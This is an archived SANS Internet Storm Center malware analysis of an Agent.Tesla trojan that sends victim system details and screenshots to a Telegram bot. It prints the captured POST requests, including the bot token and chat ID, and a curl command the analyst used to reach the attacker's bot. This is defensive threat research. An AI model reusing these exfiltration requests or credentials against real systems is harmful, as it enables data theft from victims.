

Agent.Tesla Dropped via a .daa Image and Talking to Telegram

By SANS Internet Storm Center

Archived: 2026-04-05 19:18:35 UTC

A few days ago, I found an interesting file delivered by email (why change a winning combination?). The file has a nice extension: “.daa” (Direct Access Archive). We already reported such files in 2019 and Didier wrote a diary[1] about them. Default Windows installation, can't process “.daa” files, you need a specific tool to open them (like PowerISO). I converted the archive into an ISO file and extracted the PE file inside it.

The sample was called “E445333###.exe”

(SHA256:853a7edf8144e06014e0c1a841d1f1840de954a866d5ce73ff12833394ff0ead) and has a VT score of 48/70[2]. It's a classic Agent.Tesla but this one uses another C2 channel to exfiltrate data. Instead of using open email servers, it uses Telegram (the messenger application). I started to debug the PE file (a classic .Net executable) but it took a lot of time before reaching some interesting activity so I took another approach and went back to a classic behavioral analysis. I fired a REM Workstation, connected it to the Internet through a REMnux, and launched the executable.

It took some time (approx 15 mins) before I saw the first connection to api[.]telegram[.]org:

```
POST hxxps://api[.]telegram[.]org/bot1815802853:AAFwTZ6mRU-U0mcTcCR8g1ZAAkNmzHpMkL8/sendDocument HTTP/1
Content-Type: multipart/form-data; boundary=-----8d94d2d30eed79c

Host: api.telegram.org
Content-Length: 983
Expect: 100-continue
Connection: Keep-Alive
-----8d94d2d30eed79c
Content-Disposition: form-data; name="chat_id"

1599705393
-----8d94d2d30eed79c
Content-Disposition: form-data; name="caption"

New Log Recovered!
User Name: REM/DESKTOP-2C3IQHO
OSFullName: Microsoft Windows 10 Enterprise
CPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz
RAM: 8191.49 MB
-----8d94d2d30eed79c
Content-Disposition: form-data; name="document"; filename="REM-DESKTOP-2C3IQHO 2021-07-22 04-24-32.html
Content-Type: text/html
```

```
Time: 07/22/2021 16:24:31<br>User Name: REM<br>Computer Name: DESKTOP-2C3IQHO<br>OSFullName: Microsoft  
-----8d94d2d30eed79c--
```

And the reply:

```
HTTP/1.1 200 OK  
Server: nginx/1.18.0  
Date: Thu, 22 Jul 2021 14:24:34 GMT  
Content-Type: application/json  
Content-Length: 662  
Connection: keep-alive  
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload  
Access-Control-Allow-Origin: *  
Access-Control-Allow-Methods: GET, POST, OPTIONS  
Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection  
  
{ "ok": true, "result": { "message_id": 6630, "from": { "id": 1815802853, "is_bot": true, "first_name": "Bigdealz", "u
```

A few minutes later, the Trojan started to exfiltrate screenshots:

```
POST hxxps://api[.]telegram[.]org/bot1815802853:AAFwTZ6mRU-U0mcTcCR8gLZAAkNmzHpMkL8/sendDocument HTTP/1  
Content-Type: multipart/form-data; boundary=-----8d94d3662696c53  
Host: api.telegram.org  
Content-Length: 194635  
Expect: 100-continue  
Connection: Keep-Alive  
  
-----8d94d3662696c53  
Content-Disposition: form-data; name="chat_id"  
  
1599705393  
  
-----8d94d3662696c53  
Content-Disposition: form-data; name="caption"  
  
New Screenshot Recovered!  
User Name: REM/DESKTOP-2C3IQHO  
OSFullName: Microsoft Windows 10 Enterprise  
CPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz  
RAM: 8191.49 MB  
  
-----8d94d3662696c53  
Content-Disposition: form-data; name="document"; filename="REM-DESKTOP-2C3IQHO 2021-07-22 05-30-21.jpeg  
Content-Type: image/jpeg  
  
JFIF``C
```


The user the bot is talking to is "Graciasmith1" (still online on Telegram when I'm writing this diary). Let's make it aware that we are also alive:

```
remnux@remnux:~$ curl -s https://api.telegram.org/bot1815802853:AAFwTZ6mRU-U0mcTcCR8gLZAAnmzHpMkL
{
  "ok": true,
  "result": {
    "message_id": 6884,
    "from": {
      "id": 1815802853,
      "is_bot": true,
      "first_name": "Bigdealz",
      "username": "Bigdealzbot"
    },
    "chat": {
      "id": 1599705393,
      "first_name": "Gracia",
      "last_name": "Smith",
      "username": "Graciasmith1",
      "type": "private"
    },
    "date": 1627107886,
    "text": "Ping"
  }
}
```

As you can see, today it's very touchy to spot malicious activity just by watching classic IOCs like IP addresses or domain names. Except if you prevent your users to access social networks like Telegram, who will flag traffic to api.telegram.org as suspicious? Behavioral monitoring can be the key: You can see requests at regular intervals, outside business hours, or from hosts that should not execute social network applications. Because your servers can access the Internet directly, right? ;-)

[1] <https://isc.sans.edu/forums/diary/The+DAA+File+Format/25246>

[2]

<https://www.virustotal.com/gui/file/853a7edf8144e06014e0c1a841d1f1840de954a866d5ce73ff12833394ff0ead/detection>

Xavier Mertens (@xme)

Senior ISC Handler - Freelance Cyber Security Consultant

[PGP Key](#)

Source: <https://isc.sans.edu/diary/27666>